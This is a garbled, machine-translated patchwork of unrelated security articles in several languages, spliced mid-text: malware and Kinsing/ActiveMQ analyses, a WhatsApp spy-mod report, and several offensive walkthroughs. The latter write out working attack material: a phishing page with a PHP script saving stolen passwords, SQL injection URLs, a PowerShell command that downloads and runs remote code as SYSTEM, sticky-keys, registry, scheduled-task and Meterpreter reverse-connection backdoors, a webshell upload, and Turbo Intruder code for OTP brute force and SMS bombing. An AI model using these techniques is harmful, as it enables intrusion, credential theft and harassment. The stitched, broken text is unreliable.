可以在不使用正則表達式的情況下手動刪除和替換每個值,但這是一個非常繁瑣的過程。在這個腳本中,regex是最好的方法。

在清除第一種形式的混淆後。我們可以使用搜索/替換來做到這一點,使用“&”和空替換值。

3.png

按下確認鍵後,290個字符串分割混淆被刪除了。

4.png

現在,將繼續使用CyberChef來識別和刪除Chr(10)樣式混淆。

這個過程將包括使用一個正則表達式來識別Chr(10),然後使用一個子段來研究這些值並對它們進行解碼,保持剩餘的腳本不變。為此,需要把當前編碼的內容移動到CyberChef中。

用Cyberchef的初步分析現在將腳本移到CyberChef中,可以直接跳到正則表達式(regex)的原型中,以深入研究十進制編碼的值。

對於原型,本文將使用“正則表達式”和“突出匹配”,這是為了確認腳本匹配預期的混淆內容。

這裡使用的正則表達式是Chr \(\d+\):

Chr-需要以Chr開頭的十進制值;

\( and \) -我們希望十進制值包含在括號中,需要轉義括號,因為它們在正則表達式中具有特殊含義;

\d + -指定一個或多個數值;

希望“數值”+“包含在括號中”+“前面加上Chr”。

5.png

由於regex看起來正在運行並正確識別值,因此可以繼續並將其更改為分段。

分段允許僅對匹配正則表達式的數據執行所有將來的操作。這允許我們保持腳本的大部分完整,而只解碼那些混淆並匹配我們的正則表達式的值。

接下來繼續將regex複製到分段,確保禁用原始正則表達式。

6.png

應用了這個小節之後,現在可以應用一個額外的正則表達式來提取十進制值(但只能是包含在Chr中的值)。

從這裡開始,我們現在可以應用“From decimal”來解碼內容。

至此,我們現在有了一個比以前好看得多的腳本,儘管它仍然到處都有&。

7.png

回到文本編輯器

解決了主要的混淆後,可以將CyberChef輸出複制回文本編輯器中。

8.png

& chr(110)&值周圍的&符號仍然存在,可以繼續刪除它們。

9.png

保留了下劃線(visual basic換行符),繼續使用\s +_ \s +刪除它們,這將刪除所有換行符和周圍的空白。

10.1.png

10.2.png

腳本現在看起來乾淨很多,儘管周圍有很多“”,但不會對分析有什麼影響。

我們可以繼續使用“+”的正則表達式刪除這些引號,這將從腳本中刪除所有引號。

11.png

分析清理後的腳本

現在刪除了大部分垃圾代碼,可以繼續查看已解碼的腳本。

可以注意到的第一件事是,在進程注入中有很多api引用(VirtualAllocEx, WriteProcessMemory, CreateProcessA等)。

12.png

稍微向下滾動,我們還可以看到一團十六進製字節和進程名,可能用作進程注入的目標。例如,這個blob字節將被注入rundll32.exe。

13.png

此時,我們可以假設字節是shellcode。這主要是由於長度短,不能作為標準的pe/exe/dll文件。

在繼續之前,可以先刪除最後剩下的下劃線。

14.png

一旦刪除,十六進製字節的blob應該看起來像這樣。 blob太短,不能成為一個完整的PE文件,但是有足夠的空間包含shellcode。

15.png

修復用於表示Shellcode的負十進制值shellcode中存在需要修復的負值。雖然不確定負的值如何在visual basic/.vbs運行,但在這種情況下,似乎-4的值對應於256 -4,即252,這是0xfc,這是在Shellcode開頭看到的一個常見字節(cld標誌)。

在分析可能的shellcode之前,我們需要取所有的負值並從256中減去它們。

這可以在CyberChef或Python中完成,示例如下所示。

CyberChef :這可以通過使用一個分段來提取負值,從值256中減去它們來完成。現在,所有值都可以進行十進制解碼。

16.png

Python:類似於cyberchef,可以迭代十進制值數組,從數字256中減去負值。

在輸出中,我們可以看到明文字符串以及0xfc的初始Shellcode字節。

17.png

兩個輸出也引用了一個可能的C2地址47.98.51[.]47。

18.png

此外,兩個輸出都引用EICAR字符串。這是一個字符串,將自動觸發所有殺毒軟件。

19.png

據分析,這是一個故意的字符串,旨在防止Cobalt Strike的試用版被濫用。

20.1.png

20.2.png

SpeakEasy的Shellcode仿真

0xfc字節的短長度和存在可以讓我們確信結果是shellcode。為了進一步確認,可以繼續在SpeakEasy模擬器中模擬輸出。

21.png

這證實了字節是shellcode,它從ip 47.98.41[.]47充當基於http的下載程序

如上所述,通過分析一個包含shellcode加載器的visual basic腳本,我們成功地識別了一個C2地址,並使用SpeakEasy模擬器確認了shellcode功能。

漏洞本身并不有害,一点点使用它很有趣。

010-10圆圈社区登录主页默认链接:https://www.secquan.org/login?jump=AHR0CHM6LY93D3CUC2VJCXVHBI5VCMC=

在上面的红色框中跳转后,基本64的内容为:3https://www.secquan.org

在这里,从https://www.baidu.com替换Base64加密的内容,构建的链接是:

https://www.secquan.org/login?jump=Ahr0chm6ly93d3cuymfpzhuuy29t

登录成功后,它将自动跳到百度。

2

漏洞详细信息

3

使用IDEA

实用使用

(有限的能力,不完美,但看起来像这样):

访问构造的网络钓鱼链接并在正常的

中登录

※QQ 4在以下所有测试中都进行了测试

实际上,默认情况下,URL显示了弹出窗口中的标题,这意味着地址直接暴露。添加一块JS来重写警报方法。

1234567891011ScriptWindow.alert=function(name){var iframe=document.createelement('iframe'); iframe.style.style.display='none'; iframe'; iframe.setAttribute('src',src',src',src', 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);}alert('Account exception, please log in again');/script

第一次查看页面跳跃

时弹出窗口的效果

Ctrl+S saved the static page of the homepage of the community本地登录,并进行了一些修改(与接收帐户密码的PHP文件结合使用)。一段时间后,我发现无法调用验证代码,因此我只是直接将其删除。我觉得这个验证代码是最失败的地方。

5

主页上的成品是这样的(几乎没有被迫做假的和真实的)

1234567?php $ email=$ _ post ['email']; $ password=$ _ post ['password']; $ result=$ email。 file_put_contents('fish.txt',$ result.php_eol,file_append); echo'scriptwindow.location.href='3https://www.secquan.org'/script';

只需写一个PHP页面即可在后台接收帐户密码

6

最后,用户输入的内容写入同一目录中的fish.txt,该页面被重定向到https://www.secquan.org。由于先前的成功登录会话仍在那里,因此直接登录。

When we write an article, we use commands to demonstrate how to use certain tools. Often, it is a display of static commands. If you want dynamic commands, you can only record the interface into a GIF through the screen recording tool. However, when the command runs for a long time, the recording time will be longer, the GIF will be larger, and uploading will not be convenient. Is there a better way? Here I will introduce text recording, also called command line recording. The file size is around 10 kb. The artifact is asciinema

First, let’s take a look at the effect:

You can see that the command runs the same as the recorded video, but it is not a video, so you can try to copy the code in the demo.

Installation

Centosyum install asciinemaUbuntu/Kaliapt-get install asciinema 在kali中安装

Login

The login of asciinema is different from the traditional account password. It only requires one email address to enable personal login. Execute the command asciinema auth to generate a URL. Copy URL On the browser, enter your email address, and the system will send a certified URL. Open the email and click the URL to activate it.

Using

Enter the command in the terminal

asciinema rec #Start recording When the command input is completed, click ctrl + d or exit to exit to exit the recording. Press Enter to upload the file. There will be a connection successfully. The effect of clicking on the connection is as followsc5qufwu1uiw100.png

Click to share, there are many sharing forms, as follows0hjshrsreor101.png

It is even more necessary to embed the corresponding code.

Of course, it can also be saved directly to the local area. The command is as follows:

asciinema rec kali.cast #Record file

asciinema play kali.cast #play file

asciinema upload kali.cast #Upload file

Turn to GIF

Some special circumstances, such as the WeChat official account cannot play external links, and can only be displayed through GIF. Therefore, we can convert the generated cast file into GIF installation asciicast2gifdocker pull asciinema/asciicast2gif conversion GIFdocker run --rm -v $PWD:/data asciinema/asciicast2gif -S demo.cast demo.gif

이 스테이션은 정말 크다. 아니,이 스테이션은 정말로 둥글다.

图片 한 번의 주입

图片 图片 32 비트 만 읽을 수 있기 때문에 서브 스트링을 사용하여 별도로 읽습니다.

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,concat(0x7e,(select

관리자 제한 1,1),0x7e))%20#의 비밀번호

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,Concat(0x7e,substring (substring) ((evelect

관리자 제한 1,1), 30,35),0x7e)))%20#

图片 편안한 느낌이 들었습니다. 이제 들어가서 속옷을 공개적으로 선택할 수 있습니다.

0x02 쉘을 가져 와서 robots.txt를 참조하십시오

图片INURL:A.com 관리자

배경에 들어가면 나는 그것이 ECShop이라는 것을 알았습니다. 여기서 파일은 우회 된 이미지로 변경되었습니다.

图片는 재설정 된 것 같습니다

여기서 나는 SQL 문을 실행할 수 있고 절대 경로 누출이 있음을 발견했습니다.

图片 图片OK 방금 문장을 작성하십시오

图片0x03 라이센스 图片 권한은 약간 낮습니다

图片 MySQL을 사용하는 다른 방법은 없습니다.

图片 MySQL 권리를 높이려고 노력하십시오

图片 图片 업로드 할 수없는 디렉토리를 제외하고 다른 모든 조건이 충족되므로 CS, PowerShell Online으로 이동하십시오.

图片 자세한 내용은 Juicy Potato를 사용하십시오. Sanhao 학생들의 기사를 참조하십시오. 원하는 clsid를 선택하십시오. 링크

图片 그러면 우리는 시스템 권한으로 PowerShell을 실행하고 있습니다

Shell Style.exe -p 'powerShell.exe -nop -w hidden -c \'iex ((New -Object net.webclient) .downloadString ( 'powerShell address')) \ ''-c {e60687f7f7-01a1-40AA -86AC -DB1CBF67334} 여기에 두 배가 인용문을 기억하십시오.

图片0x04 수평 침투 图片은 작업 그룹 환경이며 0.9를 스캔하며 웹이기도합니다. 다음은 해시 패스이며 해시를 잡기 위해 직접 전송됩니다. 현재 다음 계정이 있습니다

wiseadmin shopaccount mysql wiseadmin filetransfer demoadmin

WDAGUTINITYACCOUNT

일반 해시 배송-

图片 웹이어야하는 데모, 그리고 0.7은 데이터베이스 서버 일 수 있습니다.

모든 관리자 권한을 사용할 수 있습니다. 시스템을 얻으려면 SelectMyparent를 사용할 수 있습니다. 실제로 새로운 프로세스에서 시스템 프로세스의 아동 프로세스를 설정하는 것은 J입니다. 여기서 우리는 CS 말을 사용합니다. 먼저 Winlogon.exe의 PID를 확인하십시오.

당신은 그것이 500임을 알 수 있습니다

图片 그런 다음 System.Exe를 업로드하고 Shell SelectMyparent.exe System.exe 500을 실행하십시오.

图片이 단계는 실제로 단어 수를 구성하는 것입니다.

0x05 : 여기에서 권한이 유지되며 로컬 테스트를 수행합니다.

끈적 끈적한 키 백도어 끈적 끈

图片 스티커 키는 동시에 두 개 이상의 키를 누르는 데 어려움이있는 사람들을 위해 설계된 컴퓨터에 사용되는 바로 가기 키를 나타냅니다. 끈적 끈적한 본드의 주요 기능은 시프트와 다른 키의 조합을 용이하게하는 것입니다. 스티커 키는 먼저 (예 : Shift)를 누르고 다른 키를 동시에 누르는 대신 다른 키를 누르지 않고 물리적 인 이유로 인해 여러 키를 동시에 누를 수없는 일부 사람들에게 편리합니다. 일반적인 컴퓨터는 시프트를 5 번 누를 때 끈적 끈적한 키 프롬프트가 있습니다.

다음 명령을 사용하십시오

CD Wind 관리자에게 권한을 수정하십시오.

图片 图片 图片 图片 그런 다음 전체 제어로 수정하십시오.

图片 图片 이제 우리는 5 번 연속으로 교대를 누르고 시스템 권한 CMD가 팝업됩니다.

图片 주입 백도어 등록

일반 사용자 권한에 따라 공격자는 레지스트리에 실행 해야하는 백도어 프로그램 또는 스크립트 경로를 작성합니다.

hkey_local_machine \ 소프트웨어 \ Microsoft \ Windows \ currentversion \ run

키 값은 임의로 설정할 수 있거나 다음 명령을 실행하여 시작 항목을 직접 추가 할 수 있습니다.

'hkey_local_machine \ 소프트웨어 \ microsoft \ Windows \ currentVersion \ run' /v

test /t reg_sz /d 'c: \ shell.exe'관리자가 시스템에 다시 로그인하면 백도어 프로그램이 실행됩니다.

图片 계획 작업의 백도

명령 :schtasks /create /tn updater /tr c: \ shell.exe /sc 시간별 /mo 명령 위의 명령은 한 시간에 한 번 shell.exe를 실행하고 Win7 이하와 같은 시스템에서 schtasks 대신 AT 명령을 사용합니다.

미터 프리터 백도어

MeterPreter Run Persistence -U -I 5 -P 1234 -R 192.168.220.128 -A

자동으로 매칭을 시작합니다

Exploit/Multi/Handler 프록시에 연결하려면 -L % temp %를 사용하지 않으면 페이로드의 위치가 대상 호스트에 기록됩니다.

-P 페이로드 사용량, 기본값은 Windows/MeterPreter/Reverse_TCP입니다.

-S는 자동으로 트로이 목마를 서비스로 시작합니다 (시스템 권한 포함)

-T 대체 실행 템플릿을 사용할 수 있습니다

-U 사용자가 로그인하면 트로이 목마가 자동으로 시작됩니다.

-X 시스템 부츠가 부츠를 부팅 할 때 트로이 목마가 자동으로 시작됩니다.

-H이 도움말 메뉴

-각 연결 시도 (초) 사이의 시간 간격

-P 포트 Metasploit를 실행하는 시스템이 듣고 있습니다.

-R 시스템의 IP 연결을 듣고 있습니다.

단점은 바이러스 백신 소프트웨어로 감지하기 쉽고 대상 시스템에 새 VBS 파일을 생성 한 다음 매번 자동으로 시작한다는 것입니다.图片Web Backdoor, Weevely를 사용하여 Shell.php를 생성하여 테스트 할 수 있습니다.

图片 图片 파일을 서버 디렉토리에 넣고 실행하십시오.

Weevely http://192.168.220.1/shell.phpshell은 도움을 볼 수 있습니다

Audit.etcpasswd | /etc /passwd audit.userfiles | 사용자/home audit.mapwebfiles에 따라 권한이있는 파일을 나열합니다 모든 웹 사이트 Shell.php |의 URL 링크를 열거하십시오 php 파일 shell.sh |를 쓰십시오 시스템 스크립트 시스템을 작성하십시오 시스템 정보 찾기 수집 .suidsgid | suid/sgid 파일 및 디렉토리 찾기 찾기 읽기 가능/쓰기/실행 파일 및 디렉토리 Backdoor.tcp | TCP 포트 백도어 백도어 .reversetcp | 리바운드 TCP 연결 BruteForce.sql | BLAST 지정된 데이터베이스 사용자 이름 및 비밀번호 BruteForce.sqlusers | 모든 데이터베이스 사용자 비밀번호 파일을 폭파하십시오. upload | 로컬 파일 파일을 업로드 .upload2web | 바이너리/ASCII 파일을 사이트 폴더를 대상으로 업로드하고 URL 파일을 열거합니다. 로컬 어휘 파일에서 원격 파일을 서면 형식으로 열거합니다. 파일 파일을 읽으십시오 .RM | 파일 파일 삭제 .Check | 원격 파일의 상태 (MD5 값, 크기, 권한 등) 파일. 다운로드 | 원격 바이너리/ASCII 파일을 로컬 sql.console |에 다운로드하십시오 SQL 콘솔 SQL.dump 시작 | 백업 데이터베이스, 즉 제한 NET.SCAN | 포트 스캔 net.phpproxy | 원격 PHP 프록시 네트를 설치하십시오. Ifaces | 원격 호스트 네트워크 인터페이스 정보 net.proxy | Windows 명령을 실행하려면 터널 통신 에이전트를 설치하십시오.

图片 내장 명령을 보급하십시오

图片 图片 원래 링크에서 재 인쇄 : https://mp.weixin.qq.com/s?__biz=mzg2ndywmda1na==mid=mid=22474826idx=2SN=8F11B7CC12F6C5DFBB5eeeeb316f14f460ch KSM=CE67A31BF9102A0D70487584DC3C49141A376CC1B35C0659F3AE72BAA7E77E6DE7E0F916DB5SCENE=21#WECHAT_REDIGRECT

我們發現利用Apache ActiveMQ漏洞CVE-2023-46604下載並攻擊Linux系統的Kinsing惡意軟件(也稱為h2miner)和加密貨幣礦工被利用時,此漏洞會導致遠程代碼執行(RCE), Kinsing使用它來下載和安裝惡意軟件。

該漏洞本身是由於OpenWire命令未能驗證未經檢測類類型而導致RCE。

ActiveMQ(用Java編寫)是一個由Apache開發的開源協議,它實現了面向消息的中間件(MOM)。它的主要功能是在不同的應用程序之間發送消息,還包括STOMP、Jakarta Messaging (JMS)和OpenWire等附加特性。

Kinsing惡意軟件是一種主要針對基於linux的系統的嚴重威脅,可以滲透服務器並在網絡中迅速傳播。它通過利用web應用程序或配置錯誤的容器環境中的漏洞進入。

最近,Kinsing背後的攻擊組織一直在利用CVE-2023-4911 (Looney Tunables)漏洞。一旦Kinsing攻擊了一個系統,它就會部署一個加密貨幣挖掘腳本,利用主機的資源來挖掘比特幣等加密貨幣,從而對基礎設施造成嚴重破壞,並對系統性能產生負面影響。

受影響的ActiveMQ版本以下是受CVE-2023-46604漏洞影響的Apache ActiveMQ版本:

Apache ActiveMQ 5.18.0 5.18.3之前的版本;

Apache ActiveMQ 5.17.0 5.17.6之前的版本;

Apache ActiveMQ 5.16.0 5.16.7之前的版本;

5.15.16之前的Apache ActiveMQ;

Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3;

Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6;

Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7;

Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16;

建議用戶將Java OpenWire代理和客戶機升級到版本5.15.16、5.16.7、5.17.6或5.18.3,因為其中任何一個版本都可以修復此漏洞。

CVE-2023-46604補丁差異基於AMQ-9370,我們能夠檢查漏洞出現的根本原因,與OpenWire命令解組時可拋出類類型驗證有關的問題。

OpenWire是一種二進制協議,專門設計用於處理面向消息的中間件。它充當ActiveMQ的本機連接格式,ActiveMQ是一個廣泛使用的開源消息傳遞和集成平台,與其他格式相比,OpenWire的二進制格式提供了幾個優勢,比如它對帶寬的有效利用以及支持多種消息類型的能力。這些特性使其成為需要可靠和高性能消息傳遞系統的企業和組織的理想選擇。

基於補丁差異,我們可以看到validateIsThrowable方法已經包含在BaseDataStreamMarshall類中。

1.png

validateIsThrowable方法包含在BaseDataStreamMarshall類中

2.png

無法驗證Throwable類的類類型

當編組器無法驗證Throwable (Java中表示異常和錯誤的對象)的類類型時,它可能會意外地創建並執行任何類的實例。這將導致RCE漏洞允許攻擊者在服務器或應用程序上執行任意代碼。因此,必須確保始終驗證Throwable的類類型,以防止潛在的安全風險。

檢測自11月初以來,已經出現了幾起活躍樣本。這些報告是關於積極利用CVE-2023-46604的攻擊者(例如HelloKitty勒索軟件家族背後的攻擊者),以及Metasploit和nucleus等概念驗證漏洞。考慮到CVE-2023-46604的CVSS評分為9.8,總體檢測率仍然很低。

基於Kinsing使用的漏洞,我們提供了一個可用於掃描的YARA規則:

3.png

惡意利用CVE-2023-46604漏洞目前,存在利用ProcessBuilder方法在受影響的系統上執行命令的公開漏洞。在Kinsing的背景下,CVE-2023-46604被用來在易受攻擊的系統上下載和執行Kinsing加密貨幣礦工和惡意軟件。

4.png

使用ProcessBuilder方法進行開發

一旦成功利用,加密貨幣礦工和惡意軟件將下載惡意安裝程序,然後使用bash執行惡意腳本。

5.png

通過bash執行惡意腳本

一旦bash腳本被執行,Kinsing惡意軟件就會從命令與控制(CC)服務器為各種體系結構下載額外的二進製文件和有效負載。

6.png

從CC服務器下載額外的二進製文件和有效負載

Kinsing惡意軟件的一個有趣特徵是,它在進程、crontab和活動網絡連接中積極尋找正在活動的加密貨幣礦工,例如與Monero綁定的礦工或利用Log4Shell和WebLogic漏洞的礦工,然後繼續阻止它們的進程和網絡連接。此外,Kinsing從受攻擊主機的crontab中刪除有競爭關係的惡意軟件和礦工。

7.png

為Kinsing二進製文件分配一個Linux環境變量,然後執行它。

8.png

最後,Kinsing每分鐘添加一個cronjob來下載並執行它的惡意引導腳本。

9.png

每分鐘負責下載和執行Kinsing的惡意引導腳本的cronjob

這確保了受影響主機上的持久性,並確保最新的惡意Kinsing二進製文件在受影響主機上可用。

Kinsing通過在/etc/ld.so中加載它的rootkit來加倍地使用它的持久性和攻擊性預加載,完成一個完整的系統攻擊。

10.png

加載Kinsing rootkit“/etc/ld.so.preload”

總結CVE-2023-46604漏洞仍然在被各種攻擊者利用,例如Kinsing惡意軟件利用背後的組織,濫用此漏洞執行惡意活動。

使用有Apache ActiveMQ時必須立即採取行動,盡快修補CVE-2023-46604漏洞,並降低與Kinsing相關的風險。鑑於惡意軟件跨網絡傳播和善於利用其他漏洞的特點,當務之急要維護最新的安全補丁,定期審計配置,並監控網絡流量異常活動,這些都是綜合網絡安全戰略的關鍵組成部分。

0x01準備ツールこの浸透は、主にAndroidアプリを対象としています。ほうれん草アプリのバックエンドサーバーは海外であり、プラットフォームには多くの違法なギャンブル関連のミニギャンブルゲームが含まれています。

图片

1. Thunderbolt Androidエミュレーター。ギャンブルWebサイトのインストールプログラムを実行するために使用されます。

2。パケットキャプチャツールフィドラー(またはバープスーツ、ワイレシャーク)を使用して、トラフィックパケットをキャッチしてウェブサイトのバックエンドサーバーアドレスを見つけます。

3。Sublist3r、中国のアリの剣、その他の従来の浸透ツール。

0x02情報収集1。サーバーアドレスを見つけます。ネットワークほうれん草アプリのサーバーアドレスのトラフィックパケットキャプチャ分析。 Fiddlerを使用してAndroidエミュレータートラフィックをつかみ、分析を通じてアプリバックエンドWebサイトアドレスを取得します:http://****。com。また、BPまたはWiresharkツールを使用してパッケージをキャッチすることもできます。また、多くのオンラインチュートリアルがあります。

图片

ドメイン名「****。com」はパケットキャプチャにあり、ターゲットサーバーIPアドレスが見つかりました:x.x.x.x.x.

图片

2。サブドメイン名を取得します。

sublist3r.pyを使用してドメイン名を収集します。

python sublist3r.py -d xxx.com -o 1.txtいくつかのサブドメインが見つかりましたが、テストではブレークスルーは見つかりませんでした

0x03浸透プロセス1。HTML5ページを登録してログインして検出します。アプリページに登録してログインし、アドレスをクロールし、クロールをアドレスに持ち込み、ブラウザにログインします。アプリページは純粋なHTML5ページであることがわかりました。これにより、ブラウザで動作する方が便利です。

图片

2。フロントデスクアカウントの注入は失敗しました。テスト番号を使用して登録し、パッケージをつかんでパッケージを変更します。注入点を見つけますが、注入は失敗しました。

图片

3.登録されたユーザーにログインして、アップロードの脆弱性を見つけます。ユーザーブラウジング機能には、個人センターにIDレビュー機能があります。ユーザー情報を確認するには、ID情報をアップロードする必要があります。このアップロード関数は、トロイの木馬のアップロードポイントを隠すことができると推測されます。

图片

4.ファズテストをアップロードした後、バックエンドプログラムはMIMEおよびファイルヘッダーのコンテンツのみを検証します。ファイルタイプのバイパスメソッドを変更し、Picture Horseを直接アップロードしてMIMEタイプを変更し、それを正常にアップロードしてシェルアドレスを取得します。

图片

5.「中国のアリの剣」を使用して、トロイの木馬に正常に接続し、サーバーWebサイトのソースコードでデータベース構成ファイルを分析して見つけ、データベースに正常に接続することです。

图片

6.チャイニーズアリの剣を使用してデータベースに正常に接続し、アカウントとパスワードのハッシュ値を取得します。

图片

7.ファイルディレクトリ構造分析を介して、背景は単一のエントリファイルであり、パラメーターs=管理者は背景に正常にジャンプし、データベースを介してバックエンドアカウントのハッシュ値を復号化し、バックグラウンドに正常にログインします。

图片

管理者のバックエンド許可を取得することにより、同じ日にウェブサイト上の登録ユーザーの数を把握でき、ギャンブルのオッズの数は86でしたが、資本の流れは542,000元でした。管理者ログインログの観点から、メインのログインIPはフィリピン、香港、広州、ベトナムおよびその他の場所で配布されています。

图片

ユーザーログインログレコードとデータには、ユーザーのID、ログインIP、携帯電話番号、ログイン時間、その他の情報が含まれます。

图片

ユーザーベットの記録、データにはメンバーID、賭け金額、累積レベルギフトなどが含まれます。

图片

0x04ホール掘削方法の概要1。注入を見つけて、データベースユーザーの権限とサイトライブラリが同じサーバーであるかどうかに注意してください。

2。さらなる攻撃のためにバックグラウンドを入力する目的でXSSを見つけます。

3.アップロード、アプリケーションリンク、メンバーアバター、いくつかの機密ページなど、アップロードできるページを見つけて、検証方法をバイパスできるかどうかを確認し、サーバーの解析特性と組み合わせることができるかどうかを確認します。

4.ダウンロードを見つけて、記事の最後にあるWebサイトのダウンロード列または添付ファイルリンクにダウンロードする不正ファイルがあるかどうかをテストします。

5.編集者、典型的なeweditors、fckeditorsなどを見つけます。

6.可能なバックグラウンド管理プログラムを見つけて、パスワードが弱いことを試してみてください

元のリンクから転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485589Idx=1SN=F4F644EA923675C425F1DE9E4E287FB07CHKK SM=CE67A20CF9102B1A1A171041745BD7C243156EAEE575B44444444444D325E2CD2D9F72B2779CF01SCENE=21#WECHAT_REDIRECT

1。プラグインの紹介

Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。

2。プラグインの原理

最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン(HTTPパイプライン)を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000%です(Connection: close)

3。インストール方法

インストールターボインクループラグインBURPスイート1049983-20240322091638266-1772887275.png

iv。使用方法

パケットを選択して右クリックしてターボ侵入者に送信を選択します(パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません)

1049983-20240322091639122-1416561383.png

この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。

1049983-20240322091639931-438133108.png

コード領域は、ファズする必要がある部品の代わりに「%s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。

5。使用シナリオ

1。検証コードブラスト

主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。

検証コードブラスト操作コード:

Itertools Import製品から

def brute_veify_code(ターゲット、エンジン、長さ):

pattern='1234567890'#辞書の生成に使用される#iterativeオブジェクト

リスト(製品(パターン、繰り返し=長さ)): #Product()のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。

code='' .join(i)

Engine.Queue(ターゲット.req、コード)

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、#ターゲットのアドレスを指定します

concurrentConnections=30、#makeサーバーとの30接続

RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト

Pipeline=True #Enable Pipeline(HTTP Pipelining)モード

))

brute_veify_code(ターゲット、エンジン、6)#modify検証コード数字の数に従ってモディー

DEF Handleresponse(REQ、興味深い):

req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します

Table.Add(req)

デモ:

Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「%s」に置き換え、上記のコードを操作コード領域にコピーします

1049983-20240322091640898-513156876.jpg攻撃をクリックして攻撃を開始すると、「%s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで

1049983-20240322091641780-1235609231.jpg

2。同時テスト

同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。

同時テストの操作コード:

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、

concurrentConnections=30、

RequestSperConnection=100、

パイプライン=false

))

範囲のIの場合(30): #Create 30リクエスト。

Engine.queue(ターゲット.req、ターゲット、baseinput、gate='race1')

#wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで

Engine.opengate( 'race1')#identify同じ同時テストに属する要求

Engine.comPlete(タイムアウト=60)

DEF Handleresponse(REQ、興味深い):

Table.Add(req)

デモ:このコードは、プラグイン /examples/race.pyでオプションです

1049983-20240322091642585-458205074.jpg同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。1049983-20240322091643315-442669725.jpgツール実行プロセスのため、元のリクエストパッケージに「%s」フィールドが必要なため、リクエストパッケージのどこにでも「%s」を追加する必要があります。1049983-20240322091644226-1882842261.jpg 1049983-20240322091644975-1755280813.jpg

3.SMS爆撃

検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:%sをリクエストヘッダーに追加することを忘れないでください(ターボの%sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に%sはチェックされます)このコードはプラグイン /examples/race.py

1049983-20240322091642585-458205074.jpg 1049983-20240322091647807-1201234456.jpg同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。1049983-20240322091648484-1597882403.jpg

sl-green-eye-binary-spyware-1200-1200x600.jpg

一些流行的即時通訊服務經常會缺乏某些自定義功能,為了解決這個問題,第三方開發者會開發出一些mod(修改或增強程序),來提供一些受歡迎的功能。但其中一些mod在提供增強功能的同時也會加入一些惡意軟件。去年,卡巴斯基實驗室的研究人員在WhatsApp的一個mod中發現了Triada木馬。最近,他們又發現了一個嵌入間諜mod的Telegrammod,可通過Google Play傳播。

WhatsApp現在的情況與此相同:研究人員發現幾個之前無害的mod包含一個間諜mod,他們將該mod檢測為Trojan-Spy.AndroidOS.CanesSpy。

間諜mod是如何運行的?研究人員將通過80d7f95b7231cc857b331a993184499d示例來說明間諜mod的工作過程。

木馬化的客戶端清單包含在原始WhatsApp客戶端中找不到的可疑組件(服務和廣播接收器)。廣播接收器偵聽來自系統和其他應用程序的廣播,例如手機開始充電,收到的文本消息或下載程序完成下載;當接收方收到這樣的消息時,它調用事件處理程序。在WhatsApp間諜mod中,當手機開機或開始充電時,接收方會運行一項服務,啟動間諜mod。

1.png

可疑的應用組件

該服務查看惡意軟件代碼中的Application_DM常量,以選擇受攻擊設備將繼續聯繫的命令與控制(CC)服務器。

2.png

選擇命令和控制服務器

當惡意植入啟動時,它會沿著路徑/api/v1/AllRequest向攻擊運營商的服務器發送包含設備信息的POST請求。這些信息包括IMEI、電話號碼、移動國家代碼、移動網絡代碼等。該木馬還請求配置細節,例如上傳各種類型數據的路徑、向CC請求之間的間隔等。此外,該mod每五分鐘傳送一次有關受害者聯繫人和賬戶的信息。

3.png

在設備信息成功上傳後,惡意軟件開始以預先配置的間隔(默認為一分鐘)向CC詢問指令,開發人員稱之為“命令”。下表包含惡意軟件用於向服務器發送響應的命令和路徑的詳細描述:

4.png

發送到指揮控制服務器的信息引起了研究人員的注意,它們都是阿拉伯語,這表明開發者會說阿拉伯語。

